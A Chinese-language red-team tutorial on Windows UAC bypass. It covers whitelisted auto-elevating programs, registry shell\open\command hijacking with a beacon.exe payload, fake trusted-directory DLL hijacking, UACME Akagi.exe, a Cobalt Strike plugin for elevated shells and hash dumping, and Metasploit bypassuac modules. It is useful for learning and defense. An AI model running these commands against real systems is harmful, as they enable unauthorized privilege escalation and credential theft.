什么是UAC
用户账户控制(User Account control,UAC)是windows系统采用的一种控制机制,可以阻止自动安装未经授权的应用 并防止意外更改系统设置,有助于防止恶意软件损坏计算机。用户账户控制程序使应用程序和任务始终在非管理员账户的安全上下文中运行,除非管理员专门授权管理员级别的权限。开启用户账户控制后,每个需要使用管理员访问令牌的应用都必须征得用户同意。
UAC限制所有用户包括非RID500的管理员用户使用标准用户登录到他们的计算机,并在标准用户的安全性上下文中访问资源和运行应用。这里所说的非RID500的用户是指除administrator以外、位于管理员组中的其他管理员用户。
当非RID500的管理员用户登录后,系统会为其创建两个单独的访问令牌:标准用户访问令牌和管理员访问令牌。标准用户访问令牌包含与管理员访问令牌相同的用户特定信息,只是移除了windows管理特权和相关SID。标准用户访问令牌用于启动不执行管理任务的应用程序(标准用户应用程序)。当管理员需要执行高权限管理任务时,windows会自动提示用户予以批准,同意后则允许使用管理员访问令牌。
通俗理解
有时候我们拿到了一个非administrator的管理员用户权限,其实非administrator的管理员权限还是有限,运行某些程序或执行某些操作时会弹出用户账户控制,如果点击否或者不点击就会出现拒绝访问,那么也就没有成功执行操作,影响后续的内网渗透,所以要绕过uac。
如test加入了管理员组,假设我们拿到了这个用户的权限
此时,我们想运行“Regcool-x64注册表编辑工具.exe”,该工具图标右下角有管理员图案,则这个工具会弹出用户账户控制(有些没有管理器图案也会弹)。如果点击是则运行该程序,但是我们拿到的权限往往是没有图形化界面的,手动点击显然不现实。
如果是administrator下,该工具图标不会出现管理员图案,可以直接运行
如果是在普通用户下,该工具图标右下角也会有管理员图案,并且需要输入管理员密码才能运行
所以,在实战中,如果攻击者可以绕过windows uac机制,使非RID500的管理账户可以不需用户批准直接使用管理员访问令牌,从而获得全部的管理权限。注意,UAC实际上是一种权限保护机制,而Bypass UAC仅仅是绕过了这一保护机制,本质上并不能将其看作是一种真正的提权。
UAC白名单
微软在用户账户控制中为一些系统程序设置了白名单机制,所有白名单中的程序将不再询问,以静默方式自动提升到管理员权限不弹出UAC框,如slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe、rundll32.exe、explorer.exe等。攻击者可以对这些白名单程序进行dll劫持、dll注入或注册表劫持等,绕过uac并提升权限。
寻找白名单程序
在寻找白名单程序时,可以使用微软工具sigcheck和Strings。
白名单程序拥有一个共同的特性,就是Manifest数据中autoElevate属性的值为True。
sigcheck可以检测程序是否具有autoElevate属性
以Computerdefaults.exe为例,该程序位于c:\windows\system32目录下
sigcheck.exe /accepteula -m c:\windows\system32\Computerdefaults.exe
Strings可以找出所有具有autoElevate属性的程序
strings.exe /accepteula -s c:\windows\system32\*.exe | findstr /i "autoElevate"
下面以Computerdefaults.exe为例进行分析,并通过该程序绕过UAC进行提权。将其运行,会打开默认应用界面
从注册表里查询Shell\Open\command键值对
Monitor监控该程序发现,Computerdefaults.exe会先查询注册表HKCU\software\classes\ms-settings\shell\open\command中的数据,发现该路径不存在后会继续查询别的注册表。
通常,以“shell\open\command”命名的键值对存储的是可执行文件的路径,程序会读取其中的键值并运行可执行文件。由于Computerdefaults.exe是uac白名单中的程序,运行时默认提升了权限,因此在运行该键值中的可执行文件时默认为管理员权限。
所以我们把恶意的exe路径写入该键值对,那么就能够过uac执行我们的恶意exe。
普通用户执行以下命令:
reg add "HKCU\software\classes\ms-settings\shell\open\command" /d "c:\beacon.exe" /f
reg add "HKCU\software\classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d "c:\beacon.exe" /f
再次执行Computerdefaults.exe时,恶意程序就会随着Computerdefaults.exe的启动默认通过UAC控制并以提升的权限运行,但是我这里无任务反应。先放弃,思路就是这样。
DLL劫持
windows系统中的很多应用程序并不是一个完整的可执行文件,被分割成一些相对独立的动态链接库(DLL)文件,其中包含程序运行所使用的代码和数据。当应用程序启动时,相应的DLL文件就会被加载到程序进程的内存空间。攻击者可以通过一些手段,欺骗合法的、受信任的应用程序加载恶意的DLL文件,从而造成DLL劫持。
当应用程序加载DLL时,如果没有指定DLL的绝对路径,那么程序会以特定的顺序依次在指定路径下搜索待加载的DLL。在开启安全DLL搜索模式(win xp后默认开启)的情况下,将按以下顺序进行搜索:程序安装目录 -> 系统目录(c:\windows\System32) -> 16位系统目录(c:\windows\system) -> windows目录(c:\windows) -> 当前工作目录 -> PATH环境变量中列出的各目录。
如果将同名的恶意DLL文件放在合法DLL文件所在路径之前的搜索位置,当应用程序搜素dll时,就会以恶意dll代替合法的dll来加载。这就是经典的dll预加载劫持情景,利用前提是拥有对上述目录的写入权限,并且恶意dll需要与原始dll拥有相同的导出表函数。
攻击者可以通过dll劫持技术来执行攻击载荷,通常可能是为了实现权限的持久化。但是,如果加载dll文件的应用程序是在提升的权限下运行,那么其加载的dll文件也将在相同的权限下运行,因此dll劫持也可以实现权限提升。
基于上述原理,通过劫持uac白名单程序所加载的dll文件,攻击者就可以借助白名单程序的自动提升权限来bypass uac。注意,这些白名单程序所加载的dll文件几乎都位于系统可信任目录中,而这些目录对标准用户来说是不可写的。因此,接下来我们需学习模拟可信任目录中的内容
模拟可信任目录
在各种Bypass uac的手法中总会出现白名单的影子。前文讲到,uac白名单中的程序在用户启动时不会弹出提示窗口,可以自动提升权限来运行。并且,白名单程序都拥有一个共同的特性,即Manitest中autoElevate属性的值为True。
当启动的程序请求自动提升权限时,系统会先读取可执行文件中的Manitest信息,解析autoElevate属性字段的值。如果该字段存在并且值为True,就会认为这是一个可以自动提升权限的可执行文件。并且,系统会检查可执行文件的签名,这意味着无法通过构造autoElevate信息或冒充可执行文件名来实现自动权限提升。此外,系统会检查可执行文件是否位于系统可信任目录中,如c:\windows\system32目录。当这三个条件全部通过后,则允许程序自动提升权限,有任意一个条件不通过都会被系统拒绝。
即程序请求自动提升权限的条件:
文件Manitest中autoElevate属性的值为True
检查文件的签名
文件是否位于系统可信任目录中
注意,系统在检查可信任目录时,相关函数会自动去掉可执行文件路径中的空格。如果可执行文件位于“C:\windows \system32”目录(在windows后有一个空格,下文统称“模拟可信任目录”)中,系统在检查时会自动去除路径中的空格,这样就通过了最后一个条件的检查。
基于此原理,攻击者根据可信任目录来创建一个包含尾随空格的模拟可信任目录,将一个白名单程序复制到模拟可信任目录中,配合DLL劫持等技术即可成功绕过UAC。
演示
以WinSAT.exe程序为例,创建c:\windows \System32模拟可信任目录,并将白名单程序winSAT.exe复制到该目录中
md "\\?\c:\windows "
md "\\?\c:\windows \System32"
copy c:\windows\system32\winSAT.exe "\\?\c:\windows \System32\winSAT.exe"
启动winSAT.exe,使用monitor检测其进程所加载的dll。发现程序尝试在当前包含空格的目录加载dll都失败了,可以编写一个恶意的dll文件并将其放入该目录进行dll劫持。注意,构造的dll需要与原来的dll具有相同的导出函数。最后运行winSAT.exe即可绕过uac提升权限。过程以后在补充。
Bypass 工具
UACME
UACME是一个专用于绕过uac的开源项目,目前已包含70多种Bypass uac的方法。
利用方式主要可以分为两大类:
各类UAC白名单程序的DLL劫持(Dll Hijack)
各类提升权限的COM接口利用(Elevated COM interface)
在UACME项目中,每种绕过uac的方法都有一个数字编号,由一个名为Akagi.exe的主程序进行统一调用,命令如下
Akagi.exe [key] [Param]
#key ,指定要使用的方法的编号
#Parm,指定绕过UAC后要运行的程序或命令,默认启动一个关闭了uac的cmd窗口
下面以23号方法为例进行演示,该方法通过劫持白名单程序pkgmgr.exe所加载的DismCore.dll来绕过uac。
运行如下,即可弹出一个关闭了uac的命令窗口
Akagi.exe 23 c:\windows\system32\cmd.exe
cs插件SharpBypassUAC
假设获取了一个加入了管理员组的用户test权限,由于不是administrator,权限还是非常有限,如添加用户和导出密码等操作都无法执行
选梼杌的插件ByPass UAC之SharpBypassUAC,这里通过绕过uac然后再次执行beacon.exe,就能弹回一个高权限的shell。对命令进行base64编码,然后填入如下,点击run
此时弹回的会话,虽然用户名还是一样,但是权限确多了很多
可以轻松抓取hash
注意,这个插件bypass uac后执行cmd命令“cmd /c 命令”,是无回显的。所以这里选择运行攻击载荷来弹回一个高权限的会话。
msf下的利用
msf中内置了几个用于绕过uac的模块
msf6 exploit(multi/handler) > search bypassuac
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/local/bypassuac_windows_store_filesys 2019-08-22 manual Yes Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe)
1 exploit/windows/local/bypassuac_windows_store_reg 2019-02-19 manual Yes Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry
2 exploit/windows/local/bypassuac 2010-12-31 excellent No Windows Escalate UAC Protection Bypass
3 exploit/windows/local/bypassuac_injection 2010-12-31 excellent No Windows Escalate UAC Protection Bypass (In Memory Injection)
4 exploit/windows/local/bypassuac_injection_winsxs 2017-04-06 excellent No Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS
5 exploit/windows/local/bypassuac_vbs 2015-08-22 excellent No Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)
6 exploit/windows/local/bypassuac_comhijack 1900-01-01 excellent Yes Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)
7 exploit/windows/local/bypassuac_eventvwr 2016-08-15 excellent Yes Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)
8 exploit/windows/local/bypassuac_sdclt 2017-03-17 excellent Yes Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key)
9 exploit/windows/local/bypassuac_silentcleanup 2019-02-24 excellent No Windows Escalate UAC Protection Bypass (Via SilentCleanup)
10 exploit/windows/local/bypassuac_dotnet_profiler 2017-03-17 excellent Yes Windows Escalate UAC Protection Bypass (Via dot net profiler)
11 exploit/windows/local/bypassuac_fodhelper 2017-05-12 excellent Yes Windows UAC Protection Bypass (Via FodHelper Registry Key)
12 exploit/windows/local/bypassuac_sluihijack 2018-01-15 excellent Yes Windows UAC Protection Bypass (Via Slui File Handler Hijack)
如使用eventvwr模块
use exploit/windows/local/bypassuac_eventvwr
set lport 5555
set session 2
run
直接返回一个高权限的会话
总结
bypass uac一般用在非administrator管理员用户下进行权限提升,方法主要是通过劫持uac白名单程序所加载的dll文件进行提权